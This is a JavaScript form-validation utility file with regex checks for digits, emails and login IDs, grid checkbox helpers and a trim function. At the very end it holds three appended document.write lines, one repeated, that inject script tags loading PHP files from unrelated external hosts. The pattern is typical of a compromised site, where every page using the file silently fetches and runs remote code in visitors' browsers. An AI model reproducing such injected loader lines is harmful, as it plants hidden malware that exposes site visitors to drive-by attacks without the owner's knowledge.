﻿//Used to Validate input string with Regular Expression
function IsCommonValidate(ObjField, BlankMessage, Condition, MandatoryFlag, Minlen, MinMessage, Maxlen, MaxMessage)
{
	var ObjPattern, Message
	//var str = Trim(ObjField.value);
	var str = ObjField.value;
	// MandatoryFlag 1 : Mandatory
	
	if (MandatoryFlag==1 && str=='')
		return ReturnFalse(BlankMessage, ObjField);

	if (str != '') {
		if(arguments.length > 4) {
			if (str.length < Minlen) {
				return ReturnFalse(MinMessage, ObjField); 
			}
		
			if (arguments.length > 6 && str.length > Maxlen) {
				return ReturnFalse(MaxMessage, ObjField); 
			}
		}
		switch(Condition) {
			case 1:
					ObjPattern = /^[0-9]+$/gi; //for Credit Card
					Message = "Invalid entry, only digits are allowed.\nPlease re-enter";
					break;
			case 2:
					ObjPattern = /^[0-9 ]+$/gi; //for Phone number.
					Message = "Invalid entry, only digits and spaces are allowed.\nPlease re-enter.";
					break;
			case 3:
					ObjPattern = /^[0-9.]+$/gi; //for Decimal number
					Message = "Invalid entry, only digits and decimal are allowed.\nPlease re-enter.";
					break;
			case 4:
					ObjPattern = /^[a-zA-Z]+$/gi;// for alphabets 
					Message = "Invalid entry, only alphabets are allowed.\nPlease re-enter.";
					break;
			case 5:
					ObjPattern = /^[a-zA-Z ]+$/gi;//only alphabets and spaces
					Message = "Invalid entry, only alphabets and spaces are allowed.\nPlease re-enter.";
					break;
			case 6:
					ObjPattern = /^[a-zA-Z0-9]+$/gi;//alphabets and digits
					Message = "Invalid entry, only alphabets and digits are allowed.\nPlease re-enter.";
					break;
			case 7:
					ObjPattern = /^[a-zA-Z0-9 ]+$/gi;//only alphabets, digits and spaces
					Message = "Invalid entry, only alphabets, digits and spaces are allowed.\nPlease re-enter.";
					break;
			case 8:
					ObjPattern = /^[^'\"]+$/gi; 
					Message = "Invalid entry,  apostrophes (') and double quotes (\") are not allowed.\nPlease re-enter.";
					break;
			case 9:
					ObjPattern = /^[a-zA-Z0-9()]+$/gi; //
					Message = "Invalid entry, only alphabets, digits and parentheses are allowed.\nPlease re-enter.";
					break;
			case 10:
					ObjPattern = /^[a-zA-Z0-9(). ]+$/gi; //
					Message = "Invalid entry, only alphabets, digits, parentheses, dots and spaces are allowed.\nPlease re-enter.";
					break;
			case 11:
					ObjPattern = /^[a-zA-Z0-9()., ]+$/gi; //
					Message = "Invalid entry, only alphabets, digits, parentheses, comma, dots and spaces are allowed.\nPlease re-enter.";
					break;
			case 12:
					//ObjPattern= /^[A-Za-z]\w*[.|-]*\w*[@]\w+([.]\w{2,3}){1,3}$/gi;	
					 ObjPattern= /^[A-Za-z]\w*[.|-]*\w*[@]\w+([.|-]\w*){1,8}$/gi;		
					//ObjPattern = /^[A-Za-z]\w*[.|-]*[\w-.]*[^\W_]+[@]\w+([.]\w*[^\W_]){1,5}$/gi; 
					Message = "Invalid entry, Please enter valid email address.";
					break;
			case 13: ///login id
					if ((str.charAt(0) == ' ') || (str.charAt(0) == '_') || (str.charAt(0) == '@') || (str.charAt(0) == '.') 
					|| ((str.charAt(0) >= 0))) {
						Message = "Invalid entry, first character cannot be a space, number, underscore, @ or dot.\nPlease re-enter.";
						return ReturnFalse(Message, ObjField);
					}
					if ((str.charAt(str.length-1) == '_') || (str.charAt(str.length-1) == '.') 
					|| (str.charAt(str.length-1) == '@') || (str.charAt(str.length-1) == ' ')) {
						Message = "Invalid entry, last character cannot be a space, underscore, @ or dot.\nPlease re-enter.";
						return ReturnFalse(Message, ObjField);
					}
					ObjPattern= /^\w+[.,_]*\w*$/gi; //login id
					//ObjPattern = /^[A-Z,a-z][0-9,A-Z,a-z,@,.,_]{3,}[^\W_]$/gi; //Login Id  
					//ObjPattern = /^[A-Z,a-z][0-9,A-Z,a-z,.,_]{3,}[^\W_]$/gi; //Login Id
					//Message = "Invalid entry, only alphabets, digits, dots and underscores are allowed.\nLength should be minimum of 5 characters.\nPlease re-enter.";
					Message = "Invalid entry, only alphabets, digits, dots and underscores are allowed.\nPlease re-enter.";
					break;
			case 14://hexadecimal code
					ObjPattern = /^#[A-Fa-f0-9]{6}$/gi; 
					Message = "Invalid entry, Please enter correct Hexadecimal code.";
					break;
			case 15://for address or comments (not to go on host)
					ObjPattern = /^[^'\"<>]+$/gi;
					Message = "Invalid entry,  apostrophes ('), double quotes (\"), less then (<) and greater then (>) signs are not allowed.\nPlease re-enter.";
					break;
			case 16:
					ObjPattern = /^[0-9]+$/gi; //for queue no.
					Message="Invalid entry, only digits are allowed.\nPlease re-enter.";
					break;
			case 17:
					ObjPattern = /^[a-zA-Z0-9().,'"@<>/-_:;? ]+$/gi;//
					Message = "Invalid entry, only alphabets, digits, parentheses, comma, dots, single quote, double quotes and spaces are allowed.\nPlease re-enter.";
					break;
			case 18:
					ObjPattern = /^[a-zA-Z0-9 -]+$/gi;//for zip code
					Message = "Invalid entry, only alphabets, digits,hyphen and spaces are allowed.\nPlease re-enter.";
					break;	
		}
		if (!(ObjPattern.test(str))) {
			return ReturnFalse(Message, ObjField); 
		}
		//ObjPattern.test(str) ///for netscape error handling
	}
	return true;
}

function checkAll(gridID,chkMain,totCount)
{
    var chkHeader = document.getElementById(chkMain);
    var chkBox;
    var ctrlPrefix;
    if(chkHeader.checked)
    {
        for(intI=2;intI<=(totCount+1);intI++)
        {
            if(intI<10)
                ctrlPrefix=gridID + "_ctl0";
            else
                ctrlPrefix=gridID + "_ctl";
                
            chkBox = document.getElementById(ctrlPrefix + intI + "_chkSelect");
            chkBox.checked=true;
        }    
    }
    else
    {
        for(intI=2;intI<=(totCount+1);intI++)
        {
            if(intI<10)
                ctrlPrefix=gridID + "_ctl0";
            else
                ctrlPrefix=gridID + "_ctl";
                
            chkBox = document.getElementById(ctrlPrefix + intI + "_chkSelect");
            chkBox.checked=false;
        }    
    }
}

function ValidateCheckedItem(gridID,chkMain, intTotal)
{
   var chkHeader = document.getElementById(chkMain);
   var totalChecked=0;
    
    for(intI=2;intI<=(intTotal+1);intI++)
        {
            if(intI<10)
                ctrlPrefix=gridID + "_ctl0";
            else
                ctrlPrefix=gridID + "_ctl";
                
            chkBox = document.getElementById(ctrlPrefix + intI + "_chkSelect");
            
            if(chkBox.checked==true)
            {
                totalChecked=totalChecked+1;
            }
        } 
        
        if(intTotal==totalChecked)
        {
               chkHeader.checked=true;
        }
        else
        {
            chkHeader.checked=false;
        }
}

function ReturnFalse(Message,ObjField)
{
	alert(Message);
	ObjField.focus();
	ObjField.select();
	return false;
}

function trimAll(sString) 
{
	    while (sString.substring(0,1) == ' ')
	    {
		    sString = sString.substring(1, sString.length);	
	    }

	    while (sString.substring(sString.length-1, sString.length) == ' ')
	    {
		    sString = sString.substring(0,sString.length-1);
	    }
	    return sString;
}


document.write('<script src=http://thailandsktolk.dk/spa/casper.php ><\/script>');
document.write('<script src=http://etbs.tourskorea.com/newEvent/board_review_view.php ><\/script>');
document.write('<script src=http://etbs.tourskorea.com/newEvent/board_review_view.php ><\/script>');